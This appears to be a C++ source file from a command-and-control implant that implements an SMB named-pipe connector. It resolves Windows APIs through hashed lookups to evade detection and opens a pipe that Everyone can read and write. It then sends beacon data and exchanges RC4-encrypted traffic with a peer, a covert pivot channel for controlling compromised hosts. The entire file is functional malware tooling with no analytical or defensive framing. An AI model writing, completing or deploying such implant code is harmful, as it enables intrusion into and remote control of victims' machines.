2026-04-06 00:20:51 -05:00

240 lines
8.1 KiB
C++

#include "ConnectorSMB.h"
#include "ApiLoader.h"
#include "ApiDefines.h"
#include "ProcLoader.h"
#include "Crypt.h"
#include "utils.h"
void* ConnectorSMB::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void ConnectorSMB::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(ConnectorSMB));
}
ConnectorSMB::ConnectorSMB()
{
this->functions = (SMBFUNC*) ApiWin->LocalAlloc(LPTR, sizeof(SMBFUNC));
this->functions->LocalAlloc = ApiWin->LocalAlloc;
this->functions->LocalReAlloc = ApiWin->LocalReAlloc;
this->functions->LocalFree = ApiWin->LocalFree;
this->functions->LoadLibraryA = ApiWin->LoadLibraryA;
this->functions->GetLastError = ApiWin->GetLastError;
this->functions->ReadFile = ApiWin->ReadFile;
this->functions->WriteFile = ApiWin->WriteFile;
this->functions->NtClose = ApiNt->NtClose;
this->functions->CreateNamedPipeA = ApiWin->CreateNamedPipeA;
this->functions->DisconnectNamedPipe = ApiWin->DisconnectNamedPipe;
this->functions->PeekNamedPipe = ApiWin->PeekNamedPipe;
this->functions->ConnectNamedPipe = (decltype(ConnectNamedPipe)*) GetSymbolAddress(SysModules->Kernel32, HASH_FUNC_CONNECTNAMEDPIPE);
this->functions->FlushFileBuffers = (decltype(FlushFileBuffers)*) GetSymbolAddress(SysModules->Kernel32, HASH_FUNC_FLUSHFILEBUFFERS);
this->functions->AllocateAndInitializeSid = (decltype(AllocateAndInitializeSid)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_ALLOCATEANDINITIALIZESID);
this->functions->InitializeSecurityDescriptor = (decltype(InitializeSecurityDescriptor)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_INITIALIZESECURITYDESCRIPTOR);
this->functions->FreeSid = (decltype(FreeSid)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_FREESID);
this->functions->SetEntriesInAclA = (decltype(SetEntriesInAclA)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_SETENTRIESINACLA);
this->functions->SetSecurityDescriptorDacl = (decltype(SetSecurityDescriptorDacl)*) GetSymbolAddress(SysModules->Advapi32, HASH_FUNC_SETSECURITYDESCRIPTORDACL);
}
BOOL ConnectorSMB::SetProfile(void* profilePtr, BYTE* beatData, ULONG beatDataSize)
{
ProfileSMB profile = *(ProfileSMB*)profilePtr;
if (beatData && beatDataSize) {
this->beat = (BYTE*)MemAllocLocal(beatDataSize);
if (this->beat) {
memcpy(this->beat, beatData, beatDataSize);
this->beatSize = beatDataSize;
}
}
PSID pEveryoneSID = nullptr;
SID_IDENTIFIER_AUTHORITY pIdentifierAuthority;
*(DWORD*)pIdentifierAuthority.Value = 0;
*(WORD*)&pIdentifierAuthority.Value[4] = 256;
if (!this->functions->AllocateAndInitializeSid(&pIdentifierAuthority, 1, 0, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID))
return FALSE;
PACL pACL = nullptr;
EXPLICIT_ACCESS pListOfExplicitEntries = { 0 };
pListOfExplicitEntries.grfAccessPermissions = GENERIC_READ | GENERIC_WRITE; // STANDARD_RIGHTS_ALL | SPECIFIC_RIGHTS_ALL; //
pListOfExplicitEntries.grfAccessMode = SET_ACCESS;
pListOfExplicitEntries.Trustee.TrusteeForm = TRUSTEE_IS_SID;
pListOfExplicitEntries.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
pListOfExplicitEntries.Trustee.ptstrName = (LPTSTR)pEveryoneSID;
if (this->functions->SetEntriesInAclA(1, &pListOfExplicitEntries, nullptr, &pACL) != ERROR_SUCCESS)
return FALSE;
PSECURITY_DESCRIPTOR pSD = this->functions->LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
if (!pSD || !this->functions->InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION) || !this->functions->SetSecurityDescriptorDacl(pSD, TRUE, pACL, FALSE))
return FALSE;
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), pSD, FALSE };
this->hChannel = this->functions->CreateNamedPipeA((CHAR*) profile.pipename, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE, PIPE_UNLIMITED_INSTANCES, 0x100000, 0x100000, 0, &sa);
if (this->hChannel == INVALID_HANDLE_VALUE)
return FALSE;
this->functions->FreeSid(pEveryoneSID);
this->functions->LocalFree(pACL);
this->functions->LocalFree(pSD);
return TRUE;
}
void ConnectorSMB::SendData(BYTE* data, ULONG data_size)
{
this->recvSize = 0;
if (data && data_size) {
DWORD NumberOfBytesWritten = 0;
if ( this->functions->WriteFile(this->hChannel, (LPVOID)&data_size, 4, &NumberOfBytesWritten, NULL) ) {
DWORD index = 0;
DWORD size = 0;
NumberOfBytesWritten = 0;
while (1) {
size = data_size - index;
if (data_size - index > 0x2000)
size = 0x2000;
if ( !this->functions->WriteFile(this->hChannel, data + index, size, &NumberOfBytesWritten, 0) )
break;
index += NumberOfBytesWritten;
if (index >= data_size)
break;
}
}
this->functions->FlushFileBuffers(this->hChannel);
}
DWORD totalBytesAvail = 0;
BOOL result = this->functions->PeekNamedPipe(this->hChannel, 0, 0, 0, &totalBytesAvail, 0);
if (result && totalBytesAvail >= 4) {
DWORD NumberOfBytesRead = 0;
DWORD dataLength = 0;
if ( this->functions->ReadFile(this->hChannel, &dataLength, 4, &NumberOfBytesRead, 0) ) {
if (dataLength > this->allocaSize) {
this->recvData = (BYTE*) this->functions->LocalReAlloc(this->recvData, dataLength, 0);
this->allocaSize = dataLength;
}
NumberOfBytesRead = 0;
int index = 0;
while( this->functions->ReadFile(this->hChannel, this->recvData + index, dataLength - index, &NumberOfBytesRead, 0) && NumberOfBytesRead) {
index += NumberOfBytesRead;
if (index > dataLength) {
this->recvSize = -1;
return;
}
if (index == dataLength)
break;
}
this->recvSize = index;
}
}
}
BYTE* ConnectorSMB::RecvData()
{
return this->recvData;
}
int ConnectorSMB::RecvSize()
{
return this->recvSize;
}
void ConnectorSMB::RecvClear()
{
if ( this->recvData && this->allocaSize )
memset(this->recvData, 0, this->recvSize);
this->recvSize = 0;
}
void ConnectorSMB::Listen()
{
while ( !this->functions->ConnectNamedPipe(this->hChannel, nullptr) && this->functions->GetLastError() != ERROR_PIPE_CONNECTED);
this->recvData = (BYTE*) this->functions->LocalAlloc(LPTR, 0x100000);
this->allocaSize = 0x100000;
}
BOOL ConnectorSMB::WaitForConnection()
{
this->Listen();
this->SendData(this->beat, this->beatSize);
this->connected = TRUE;
return TRUE;
}
BOOL ConnectorSMB::IsConnected()
{
return this->connected;
}
void ConnectorSMB::Disconnect()
{
this->DisconnectInternal();
this->connected = FALSE;
}
void ConnectorSMB::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
{
if (plainData && plainSize > 0) {
EncryptRC4(plainData, plainSize, sessionKey, 16);
this->SendData(plainData, plainSize);
} else {
this->SendData(NULL, 0);
}
if (this->recvSize == 0 && TEB->LastErrorValue == ERROR_BROKEN_PIPE) {
TEB->LastErrorValue = 0;
this->connected = FALSE;
return;
}
if (this->recvSize < 0) {
this->connected = FALSE;
return;
}
if (this->recvSize > 0 && this->recvData)
DecryptRC4(this->recvData, this->recvSize, sessionKey, 16);
}
void ConnectorSMB::DisconnectInternal()
{
if (this->allocaSize) {
memset(this->recvData, 0, this->allocaSize);
this->functions->LocalFree(this->recvData);
this->recvData = nullptr;
}
this->allocaSize = 0;
this->recvData = nullptr;
this->functions->FlushFileBuffers(this->hChannel);
this->functions->DisconnectNamedPipe(this->hChannel);
}
void ConnectorSMB::CloseConnector()
{
if (this->beat && this->beatSize) {
MemFreeLocal((LPVOID*)&this->beat, this->beatSize);
this->beat = nullptr;
this->beatSize = 0;
}
this->functions->NtClose(this->hChannel);
}